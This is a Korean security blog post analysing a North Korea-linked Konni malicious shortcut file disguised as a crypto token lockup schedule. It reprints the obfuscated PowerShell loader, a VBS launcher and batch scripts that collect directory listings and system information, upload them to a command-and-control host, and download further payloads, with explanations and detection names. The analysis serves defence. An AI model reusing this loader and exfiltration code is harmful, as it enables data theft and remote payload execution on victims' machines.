꿈을꾸는 파랑새

오늘은 북한의 해킹 그룹인 Konni(코니)에서 만든 악성코드인 xx 토큰 유통량 및 락업 스케줄(2024.5.13)에 대해 글을 적어 보겠습니다.
2017년 Cisco Talos 연구원이 처음 발견했으며, 2014년부터 탐지되지 않은 채 고도의 타깃 공격으로 하는 북한의 해킹 단체 Thallium, APT37과 관련된 해킹 단체이며 Kimsuky(김수키)일 가능성도 있는 단체입니다. 일단 기본적으로 미끼(Decoy) 문서를 사용자에게 표시한 다음 피해자 컴퓨터에서 악성 파일을 실행합니다.
일단 xxx 토큰에 대해 검색을 해보니 블랙웨일은 디파이 ETF 프로젝트 비트코인 형물 ETF 이라고 하는데 개인적으로 가상화폐(암호화폐)에 대해 그다지 지식이 없는 관계로 통과 하고 글을 적어보겠습니다.
악성코드 해쉬값
파일명:xxx 토큰 유통량 및 락업 스케줄.lnk
사이즈:369 MB
MD5:a0483db3725f8a50078daee7fd10f9bb
SHA-1:2bd0260ae7b0a9e6131063243209d9c6348aaa3e
SHA-256:77d05cc623f860ca2e6d47cdafc517aa0612de88291de7f2a3d95c5d04f1658a
이며 lnk 형식인데 보면 파일 크기가 369 MB 인 것을 확인을 할 수가 있으며 뭐~파일 크기가 큰 이유는 더미 파일로 채워 놓아서 다음과 같은 작업을 하려고 일 것입니다.
1. 탐지 우회:
안티바이러스(백신프로그램) 및 보안 소프트웨어 탐지 우회: 악성코드는 더미 파일을 사용하여 안티바이러스 및 보안 소프트웨어의 스캔을 피할 수 있습니다.
더미 파일은 악성코드가 아닌 정상적인 파일처럼 보이도록 설계되어 악성코드를 감지하는 데 사용되는 패턴이나 서명과 일치하지 않도록 작동
2. 파일 크기 및 복잡성 증가:
분석 어려움 증가: 더미 파일을 악성코드와 함께 사용하면 분석자가 악성코드를 이해하고 역설계 하는 것을 어렵게 만들 수 있음
3. 기능 추가:
모듈 적재 악성코드는 더미 파일을 사용하여 추가 모듈을 로드할 수 있음 이러한 모듈은 악성코드의 기능을 확장하고 키로거,스크린샷 캡처 또는 파일 암호화와 같은 추가 작업을 수행하는 데 사용될 수 있을 수가 있음
파일의 용량이 일정 이상이면 실시간 감시의 대상이 되지 않는 점을 이용해 일부러 더미 데이터를 집어넣어 백신프로그램(안티 바이러스 프로그램)에서 실시간 감시를 우회하기 위함

악성코드 실행 보여지는 엑셀 파일
악성코드 실행 보여지는 엑셀 파일악성코드 실행 보여지는 엑셀 파일

악성코드에 포함된 PowerShell 코드

c p^owe^rshe^l^l -window(s)tyle h(i)dden function oiSKxuVYnXh{param($CiQCe(D
)Ivl(C)ME,$fy(f)RDaURDndT,$rNzOeXxevYUB,$QprBVYOOCDD,$fzCaYiqBjhx);^<#ectosto
sis irrefragable#^> $uwQfHTb(J)utV=New(-)Object ^<#env(i)sage pericardio(t)om
y(#)^>System(.)IO.File(S)tream($CiQCeDIvlCME,^<(#)subduers presbyt(e)rs#^>[Sy
stem(.)IO(.)FileMode]::Open,^<#(c)olorific unclear(e)r#^>[System.IO.FileAcce
(s)s]::Read);^<#binit(a)rian un(b)enevolently#^> $uwQfHTbJutV(.)Seek($fyfRDa
U(R)DndT,^<#rec(e)lebrates unbalki(n)g#^>[System(.)IO.See(k)Origin]::Beg(i)n)
;^<#metemp(i)ricism gr(a)ters#^> $AcrsWnNduCZ(=)New-Object ^<#chloro(p)hyllac
eous lob(e)ctomy#^>byte[] $r(N)zOeXxevYUB;^<#pi(t)hs rago(n)din#^> $uwQf(H)Tb
JutV(.)Read($AcrsW(n)NduCZ,^<#d(o)donaea cumengit(e)#^>0,$rN(z)OeXxevYUB);^<#
plas(m)ochin undiffusiveness#^> $uwQfHTbJu(t)V.Close();for($bFyQ(k)QpILG=0;$b
FyQkQpILG -lt $rNzOeXxevYUB;$bFyQkQpILG++){$AcrsW(n)NduCZ[$bFyQkQpILG]=$AcrsW
(n)NduCZ[$bFy(Q)kQpILG] -bxor $QprBV(Y)OOCDD;}sc ^<#ar(a)midae min(t)er#^>
$fzCaYi(q)Bjhx ^<#dis(s)imulates su(m)merset#^> $(A)crsWnNduCZ -Enc(o)ding 
^<#del(e)gacies coryno(c)arpaceous#^> Byte;};functi(o)n nWIpxJZ(B)OnG{param
($azngRzZosn);^<#done(y) tonsilitic#^> $AtFMAYBDPYOK=Get-ChildItem ^<#signi
fie e(u)rydice#^>-Path ^<#aftercure kop(p)ies#^> $a(z)ngRzZosn -Recurse  ^<
#ethno(c)racy mo(n)kfish#^>*.lnk ^<#in(i)tialled zinkif(i)es#^>^| ^<#ar(g)o
nauts colon(e)tte#^>where-ob(j)ect ^<#ut(u)runcu clea(d)ing#^>{$_.leng(t)h 
^<#super(f)idel unpe(r)vaded#^>-eq 0x(1)7120532} ^<#cy(s)tocyte mach(i)neri
es#^>^| Select(-)Object ^<#aest(h)ophysiology megaspor(a)ngium#^>-Expa(n)dP
roperty ^<#mus(c)ardinidae ph(y)llodial#^>Full(N)ame; return ^<#vr(o)uws st
ego(c)arpous#^> $AtF(M)AYBDPYOK;^<#(a)ppointees skedaddled#^>};$kHoSCYx(F)I
khj=Get-Locat(i)on;$PhJjmbj(o)ZH=nWIpx(J)ZBOnG ^<#gra(d)eless hypothec(a)te
#^>-azng(R)zZosn ^<#see(m)ings angiom(a)tous#^> $kHoSCYxF(I)khj;if($Ph(J)jm
bjoZH.length^<#tr(o)ubadourist op(a)cate#^> -eq 0){$PhJj(m)bjoZH=nWIpxJZBOn
G ^<#dec(a)gramme adju(n)ct#^> -azng(R)zZosn $env:Temp;} $kHoSCYxFIk(h)j=Sp
lit-Path ^<#(u)nparallelness seacross#^> $PhJj(m)bjoZH;$BLdI(k)NNndzhs = $P
hJjmbjoZH(.)substring(0,$P(h)JjmbjoZH.length-4) ^<#steri(l)izes (u)nirritab
le#^>+ '';oi(S)KxuVYnXh -CiQCe(D)IvlCME ^<#rerel(e)ase applica(t)ory#^> $Ph
Jj(m)bjoZH -fyfRD(a)URDndT ^<#upp(i)shness (b)andaka#^> 0x000020(D)2 -rNzOe
X(x)evYUB 0x000050D0 -Q(p)rBVYOOCDD ^<#sked(l)ock insomnolent#^> 0x(1)8 -fz
CaY(i)qBjhx ^<#p(s)ammoma bup(h)thalmum#^> $BLdIkN(N)ndzhs;^&^<#p(l)eometro
sis camlets#^> $B(L)dIkNNndzhs;$kmxSxZJ(R)HC=$env:public ^<#dichl(o)rhydrin
surrendry#^>+ '\' ^<#t(u)multuation suffici(e)ntness#^>(+)^<#germani(f)icat
ion flaxiest#^> 'CiQCeD(.)cab';oiSKx(u)VYnXh -CiQCeD(I)vlCME ^<#reingrati(a
)te pre(o)btruded#^> $PhJjmbjoZH -fyf(R)DaURDndT ^<#trichoepi(t)helioma def
ix#^> 0x0(0)0071A2 -rNzO(e)XxevYUB ^<#expunge(a)ble p(o)stauricular#^> 0x0(
0)013CDE -Qpr(B)VYOOCDD ^<#sonnets (p)oetised#^> 0xC0 -f(z)CaYiqBjhx ^<#cr(
o)cein kernels#(^)> $km(x)SxZJRHC;Rem(o)ve-Item -Path (^)<#mo(v)ed guying#^
> $Ph(J)jmbjoZH -Fo(r)ce;expand $kmx(S)xZJRHC ^<#urazole pa(r)afunction#^> 
-F:* ^<#s(p)ookologist unif(o)rmness#^> ($e(n)v:public ^<#qua(d)rating neur
algia(c)#^>+^<#per(e)ira hondas#^> '\' ^<#bee(r)ier gawn#^>(+)^<#troc(h)ili
ne octillion(t)h#^> 'docume(n)ts');remove(-)item ^<#braird(e)d dialyser#^> 
-pa(t)h ^<#reenla(r)ges clas(s)man#^> $kmxS(x)ZJRHC  ^<#g(o)odby baudekin#^
>(-)force;$fhGa(M)WKikl=$env:pub(l)ic^<#opiniastre unextraneous#^>(+)'\docu
ments\start(.)vbs';^&^<#mu(s)krats d(i)scernibleness#^> $fhGaMWKikl;
 iconlocation: (.)xlsx
}

해당 악성코드 PowerShell 코드 설명

주어진 PowerShell 스크립트는 숨겨진 창 모드 에서 실행되며 파일을 읽고 데이터 조작을 수행하고 특정 경로에 파일을 생성 및 수정하고 삭제하는 작업
주요 기능 설명
1. 함수 정의:
oiSKxuVYnXh:특정 파일을 읽고 데이터를 XOR 연산으로 조작하고 파일로 저장하는 함수
nWIpxJZBOnG:특정 조건에 맞는. lnk 파일을 찾는 함수
2. 함수 oiSKxuVYnXh:
매개변수:$CiQCeDIvlCME,$fyfRDaURDndT,$rNzOeXxevYUB,$QprBVYOOCDD,$fzCaYiqBjhx
파일 스트림을 열고(FileStream) 파일의 특정 위치에서 데이터를 읽음
읽은 데이터를 XOR 연산(-bxor)으로 조작하고 새로운 파일에 저장
3. 함수 nWIpxJZBOnG:
매개변수:$azngRzZosn
지정된 경로에서 .lnk 파일을 검색하고 파일 크기가 특정 값(0x17120532)과 일치하는 파일을 찾음

Cerbero Suite Advanced 로 본 xxx 토큰 유통량 및 락업 스케줄 악성코드
Cerbero Suite Advanced 로 본 xxx 토큰 유통량 및 락업 스케줄 악성코드

4. 스크립트 실행 흐름
현재 위치를 얻음(Get-Location)
nWIpxJZBOnG 함수를 호출하여 .lnk 파일 경로를 찾음
파일 경로가 없으면 임시 폴더($env:Temp)에서 다시 검색
파일 경로를 기반으로 파일을 읽고 XOR 연산을 수행한 후 새로운 파일에 저장
이후 작업을 반복적으로 수행하여 다른 파일을 생성하고 기존 파일을 삭제
5.파일 작업:

악성코드 가 생성한 파일
악성코드 가 생성한 파일

생성된 파일을 .cab 파일로 압축하고 확장(expand)하여 특정 경로에 저장
압축된 파일을 삭제하고 VBS 스크립트를 실행

start.vbs 포함된 코드
start.vbs 포함된 코드

start.vbs 포함된 코드

set obj = GetObject("new:9BA05972-F6A8-11CF-A442-00A0C90A8F39")
set itemObj = obj.Item()
oTEOQHWsbVcWtcoC = Left(WScript(.)ScriptFullName, InstrRev(WScript(.)ScriptFullName, "\") - 1)
itemObj.Document(.)Application.ShellExecute oTEOQHW(s)bVcWtcoC & "\" & "59437580" & "
.b" & "at", Null, oTEOQHW(s)bVcWtcoC, Null, 0
set obj = Nothing

코드 설명

주어진 코드에서는 `WScript`를 사용하여 특정 프로그램을 실행 코드에서 실행되는 프로그램은 59437580(.)bat이라는 배치 파일
1.COM 객체 생성:
set obj = GetObject("new:9BA059(7)2-F6A8-11CF-A442-00A0C90A8F39")
GetObject 함수는 새로운 COM 객체를 생성
9BA05972-F6A8-11CF-A442(-)00A0C90A8F39는 Internet Explorer의 CLSID.
2.Item 객체 설정:
set itemObj = obj.Item()
obj의 Item 메서드를 호출하여 itemObj를 설정
3.현재 스크립트의 디렉터리 경로 얻기:
oTEOQHWs(V)cWtcoC = Left(WScript(.)ScriptFullName, In(s)trRev(WScript(.)ScriptFullName, "\") - 1)
WScript.ScriptFullName은 현재 실행 중인 스크립트의 전체 경로를 반환
InstrRev 함수는 문자열 내에서 특정 문자의 마지막 위치를 찾으며 여기서는 마지막 \의 위치를 찾음
Left 함수는 경로에서 마지막 "\" 이전의 모든 문자를 추출하여 oTEOQHW(s)bVcWtcoC 변수에 저장
4.배치 파일 실행:
itemObj.Document.Application.ShellExecute oTEOQHW(s)bVcWtcoC & "\" & "59437580" & ".b" & "at", Null, oTEOQHWsbVc(W)tcoC, Null, 0
ShellExecute 메서드를 사용하여 59437580(.)bat 파일을 실행
oTEOQHWsbV(c)WtcoC & "\" & "59437580" & ".b" & "at"`는 현재 스크립트 디렉터리에 있는 59437580(.)bat 파일의 경로를 구성
Null 값은 실행 인수, 디렉터리, 창 상태 등을 지정하기 위해 사용
마지막 매개변수 `0`은 창을 숨긴 상태로 실행하도록 
5.객체 정리:
set obj = Nothing
사용된 객체를 정리하여 메모리를 해제

06328589.bat 포함된 코드

@echo off
pushd %~dp0
if exist "temprun(.)bat" (
del /f /q temprun(.)bat
)
call 15136582.bat "hxxp://storkse(.)com/list(.)php?f=%COMPUTERNAME%.txt" "
%~dp0cZaoM(.)cab" "1"> nul

expand cZaoM(.)cab -F:* %~dp0 > nul
del /f /q cZaoM(.)cab > nul
call temprun(.)bat > nul

06328589.bat 포함된 코드
06328589.bat 포함된 코드

코드 설명

배치 스크립트는 다음과 같은 단계를 수행
현재 스크립트 디렉터리로 이동
기존 temprun.bat 파일을 삭제 (있는 경우)
15136582.bat를 호출하여 해외 대마 사이트 해킹해서 해당 사이트 접속을 해서 파일을 다운로드하고 이를 cZaoM(.)cab 파일로 저장
cZaoM.cab 파일을 현재 디렉터리로 확장
확장되고 cZaoM.cab 파일을 삭제
temprun.bat 파일을 호출하여 실행
해당 스크립트는 15136582(.)bat 파일이 다운로드 및 파일 확장을 처리하는 핵심 역할을 하며 이후에 생성된 temprun(.)bat 파일을 실행

19898358.bat 에 포함된 코드

15136582.bat에 포함된 악성코드
15136582.bat에 포함된 악성코드

@echo off
pushd "%~dp0"
dir C:\Users\%username%\downloads\ /s > %~dp0d1.txt
dir C:\Users\%username%\documents\ /s > %~dp0d2.txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3.txt

systeminfo > %~dp0d4.txt

timeout -t 5 /nobreak
call 23390010.bat "hxxp://storkse(.)com/upload(.)php" "d1(.)txt"  "%COMPUTERNAME%_down(.)txt" >nul
call 23390010.bat "hxxp://storkse(.)com/upload(.)php" "d2(.)txt"  "%COMPUTERNAME%_docu.txt" >nul
call 23390010.bat "hxxp://storkse(.)com/upload(.)php" "d3.txt"  "%COMPUTERNAME%_desk.txt" >nul
call 23390010.bat "hxxp://storkse(.)com/upload(.)php" "d4.txt"  "%COMPUTERNAME%_sys.txt" >nul

코드 설명

해당 배치 스크립트는 특정 디렉터리의 파일 목록과 시스템 정보를 수집하고 이를 서버로 업로드하는 과정을 수행
1.현재 디렉터리로 이동:
@echo off
pushd "%~dp0"
@echo off: 명령어 에코를 끕니다.
pushd "%~dp0":스크립트가 위치한 디렉터리로 이동
2.디렉터리 파일 목록 저장:
dir C:\Users\%username%\downloads\ /s > %~dp0d1.txt
dir C:\Users\%username%\documents\ /s > %~dp0d2.txt
dir C:\Users\%username%\desktop\ /s > %~dp0d3.txt
dir 명령을 사용하여 특정 디렉터리의 모든 파일과 하위 디렉터리 목록을 텍스트 파일로 저장
C:\Users\%username%\downloads\:다운로드 폴더
C:\Users\%username%\documents\:문서 폴더
C:\Users\%username%\desktop\:데스크톱 폴더.
> %~dp0d1.txt:결과를 스크립트 위치에 d1.txt 파일로 저장 (d2.txt,d3.txt 동일)
3. 시스템 정보 저장:
systeminfo 명령을 사용하여 시스템 정보를 d4(.)txt 파일로 저장
4.대기 시간 설정:
timeout -t 5 /nobreak
5초 동안 대기
/nobreak 옵션은 키 입력으로 대기를 취소하지 않도록 함
5.파일 업로드:
call 23390010(.)bat "hxxp://storkse(.)com/upload(.)php" "d1.txt"  "%COMPUTERNAME%_down(.)txt" >nul
call 23390010(.)bat "hxxp://storkse(.0com/upload(.)php" "d2.txt"  "%COMPUTERNAME%_docu.txt" >nul
call 23390010(.)bat "hxxp://storkse(.)com/upload(.)php" "d3.txt"  "%COMPUTERNAME%_desk.txt" >nul
call 23390010(.)bat "hxxp://storkse(.)com/upload(.)php" "d4.txt"  "%COMPUTERNAME%_sys.txt" >nul
23390010.bat 파일을 호출하여 생성된 텍스트 파일을 서버로 업로드
hxxp://storkse(.)com/upload.php:업로드를 처리할 서버의 URL.
d1.txt:업로드할 파일
%COMPUTERNAME%_down.txt:서버에 저장될 파일 이름.
>nul: 출력 결과를 숨김
요약
해당 스크립트는 사용자 디렉터리의 파일 목록과 시스템 정보를 수집하여 이를 서버로 업로드하는 작업을 수행
각 단계는 다음과 같습니다:
1. 스크립트가 위치한 디렉터리로 이동
2.다운로드, 문서, 데스크톱 폴더의 파일 목록을 각각 d1.txt, d2.txt, d3.txt 파일로 저장.
3.시스템 정보를 d4.txt 파일로 저장
4.5초 대기.
5.각 파일을 서버로 업로드

15136582.bat 코드

@echo off
pushd %~dp0
set "tgurl=%~1"
set "md12=%~3"
if not "%md12%" == "0" (
	powershell -command "function SrhCOkdXczvb{param ($oHGoHtjVhBba,$AJcHfePelLs);$
    (P)cBORWrFTkW = [System(.)Text.Encoding]::UTF8(.)GetB(y)tes($oHGoHt(j)VhBba);
    $xgis(W)riGjii = [System(.)Text.Encoding]::UTF8(.)GetBytes($AJcHfePelLs);$j(D)cZm
    tycWfVq = New-Object byte[](256);$(e)WJtNybBUX = New-O(b)ject byte[](256);f(o)r
    ($JIlO(b)nIlSK = 0; $JIlObnI(l)SK -lt 256; $JIl(O)bnIlSK++) {$jDc(Z)mtycWfVq[$J
    (I)lObnIlSK] = $JIlObnIl(S)K;$eWJtN(y)bBUX[$J(I)lObnIlSK] = $xgi(s)WriGjii[$JIl
    (O)bnIlSK %% $xgisWriGj(i)i.Length];}$UvfeI(u)QBrf = 0;for ($J(I)lObnIlSK =
    0; $JIl(O)bnIlSK -lt 256; $JI(l)ObnIlSK++) {$UvfeI(u)QBrf = ($UvfeIu(Q)Brf 
    + $jDcZ(m)tycWfVq[$JIl(O)bnIlSK] (+) $e(W)JtNybBUX[$JIlObnIlSK]) %% 256;$x
    (w)WFfRAOllMD = $jDcZmty(c)WfVq[$JIlObnIlSK];$jDcZ(m)tycWfVq[$JIl(O)bnIlSK]
    = $jDcZmtycW(f)Vq[$UvfeIuQBrf];$jD(c)ZmtycWfVq[$Uvfe(I)uQBrf] = $xwWFfRA(O)l
    lMD;}$XZF(i)rMmoTvGp = New-O(b)ject byte[] $PcBORWrFT(k)W.Length;$JIlObnIlSK
    = 0;$Uvf(eI)uQBrf = 0;for ($fmkb(j)uQOjBpk = 0; $fmkbju(Q)OjBpk -lt $PcBORWr
    FTkW.Length; $fmkb(j)uQOjBpk++) {$JIl(O)bnIlSK = ($JIlObnIlSK (+) 1) %% 256;
    $Uvf(e)IuQBrf = ($Uvfe(I)uQBrf + $jD(c)ZmtycWfVq[$JIl(O)bnIlSK]) %% 256;$(x)
    wWFfRAOllMD = $jD(c)ZmtycWfVq[$JI(l)ObnIlSK];$jDcZmty(c)WfVq[$JIlO(b)nIlSK] 
    = $jDcZmty(c)WfVq[$U(v)feIuQBrf];$j(D)cZmtycWfVq[$UvfeIuQBrf] = $xwWFf(R)AOl
    lMD;$wqrI(X)tXgnxv = ($jDcZmty(c)WfVq[$JIlObnIlSK] + $jDcZmtycWfVq[$UvfeIuQB
    rf]) %% 256;$XZFirMmoTvGp[$fmkbjuQOjBpk] = $PcBORWrF(T)kW[$fmkbj(u)QOjBpk] -
    bxor $jDcZ(m)tycWfVq[$wqrIXtXgnxv];}$lKf(M)NqKcyKNN = [System(.)Convert]::To
    Base64String($XZFirMmoTvGp);return $lKfMNqKc(y)KNN;};$AXFBo(e)Pyde = '%tgurl
    %';($)NSdKuwTHLluw = '%~(2)';Add(-)Type -AssemblyNam(e) 'System(.)Web';$VtXg
    wYAD(w)A=(Get(-)Date).Ticks(.)ToString();$wVE(G)ZqrToic = $AXFBoePy(d)e.Spli
    t('?')[1];$pDe(q)ttuMBa = Sr(h)COkdXczvb -oHGoH(t)jVhBba $wVE(G)ZqrToic -(A)
    JcHfePelLs $VtXgwY(A)DwA;$AXFBoePyde=($)AXFBoePyde(.)Split('?')[0]+'?'(+)$Vt
    XgwYADwA(+)'='+[System.Web(.)HttpUtility]::Url(E)ncode($pDeqttuMBa);iwr -Ur(
    i) $AXFBoe(P)yde -O(u)tFile $NSdKuwTHLluw;" > nul
)else (
	powershell -command "$url1 = '%tgurl(%)';$outfile = '%~2';iwr -Uri $url1
    -OutFile $outfile;" > nul
)

코드 설명

암호화 함수 SrhC(O)kdXczvb
매개변수:
$oHGoH(t)jVhBba: URL 쿼리 문자열.
$AJcH(f)ePelLs: 현재 날짜의 틱 값을 문자열로 변환한 값
암호화 과정
URL 쿼리 문자열과 날짜 틱 값을 UTF-8 바이트 배열로 변환
RC4 스트림 암호화를 구현하여 바이트 배열을 암호화
암호화된 바이트 배열을 Base64 문자열로 변환하여 반환
다운로드 및 암호화된 URL 생성
URL 쿼리 문자열 암호화:
SrhCOkd(X)czvb 함수를 호출하여 URL 쿼리 문자열을 암호화
암호화된 쿼리 문자열을 원래 URL의 쿼리 문자열로 대체
파일 다운로드:
암호화된 URL에서 파일을 다운로드하여 로컬에 저장
2024-05-17 05:55:36 UTC 기준 바이러스토탈에서 탐지하는 보안 업체들은 다음과 같습니다.
ALYac:Trojan.Agent.LNK.Gen
Arcabit:Heur.BZC.YAX.Pantera.190.B75551D8
Avast:LNK:Agent-HS [Trj]
AVG:LNK:Agent-HS [Trj]
Avira (no cloud):LNK/Dldr.Agent.VPYE
BitDefender:Heur.BZC.YAX.Pantera.190.B75551D8
Cynet:Malicious (score: 99)
Emsisoft:Heur.BZC.YAX.Pantera.190.B75551D8 (B)
ESET-NOD32:BAT/TrojanDownloader.Agent.NWV
Fortinet:LNK/Agent.NWV!tr
GData:Heur.BZC.YAX.Pantera.190.B75551D8
Google:Detected
Kaspersky:HEUR:Trojan.Multi.Powenot.a
MAX:Malware (ai Score=80)
Rising:Trojan.PSRunner/LNK!1.F965 (CLASSIC)
SentinelOne (Static ML):Static AI - Suspicious LNK
Skyhigh (SWG):BehavesLike.Dropper.tx
Sophos:Mal/PowLnkObf-D
Symantec:Trellix (FireEye):Heur.BZC.YAX.Pantera.190.B75551D8
Varist:LNK/ABRisk.PTZB-7
VBA32:Trojan.Link.Crafted
VIPRE:Heur.BZC.YAX.Pantera.190.B75551D8
WithSecure:Malware.LNK/Dldr.Agent.VPYE
ZoneAlarm by Check Point:HEUR:Trojan.Multi.Powenot.a

숨김 파일,폴더 및 드라이브 표시
숨김 파일,폴더 및 드라이브 표시

일단 결론 백신 프로그램에 탐지 안 된다고 정상적인 프로그램이 아니면 그리고 자신이 사용하는 사이트 관리를 잘해서 악성코드 유포 및 업로드 사용이 되는 것을 방지해야 하면 그리고 lnk 확장들을 확인하기 위해서 탐색기에서 옵션->폴더 옵션->보기 로 이동을 해서 숨긴 파일, 폴더 및 드라이브 표시에 체크를 해서 사용을 하는 습관을 가지는 것을 대단히 권장합니다.

그리드형

공유하기

facebook twitter kakaoTalk kakaostory naver band